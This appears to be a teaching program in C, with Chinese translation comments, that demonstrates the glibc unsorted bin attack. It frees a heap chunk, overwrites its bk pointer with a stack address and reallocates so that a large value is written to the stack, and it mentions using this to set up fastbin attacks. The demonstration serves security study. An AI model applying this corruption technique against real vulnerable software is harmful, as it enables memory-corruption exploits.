intmain(){ // 程序开始时的提示信息 fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"); fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
// 对应中文: /* fprintf(stderr, "本程序演示如何通过 unsorted bin 攻击将一个大的无符号长整型值写入栈中。\n"); fprintf(stderr, "在实际攻击中,unsorted bin 攻击通常是为了进一步攻击做准备,例如修改 libc 中的全局变量 global_max_fast,以便进行 fastbin 攻击。\n\n"); */
unsignedlong stack_var=0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsignedlong *p=malloc(0x500); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p); fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n"); malloc(0x600);
free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n",(void*)p[1]);
// 对应中文: /* fprintf(stderr, "我们现在已经释放了第一个内存块,它将被插入到 unsorted bin 中,其 bk 指针指向:%p\n", (void*)p[1]); */
//------------VULNERABILITY-----------
p[1]=(unsignedlong)(&stack_var-2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
malloc(0x500); fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been " "rewritten:\n"); fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var); }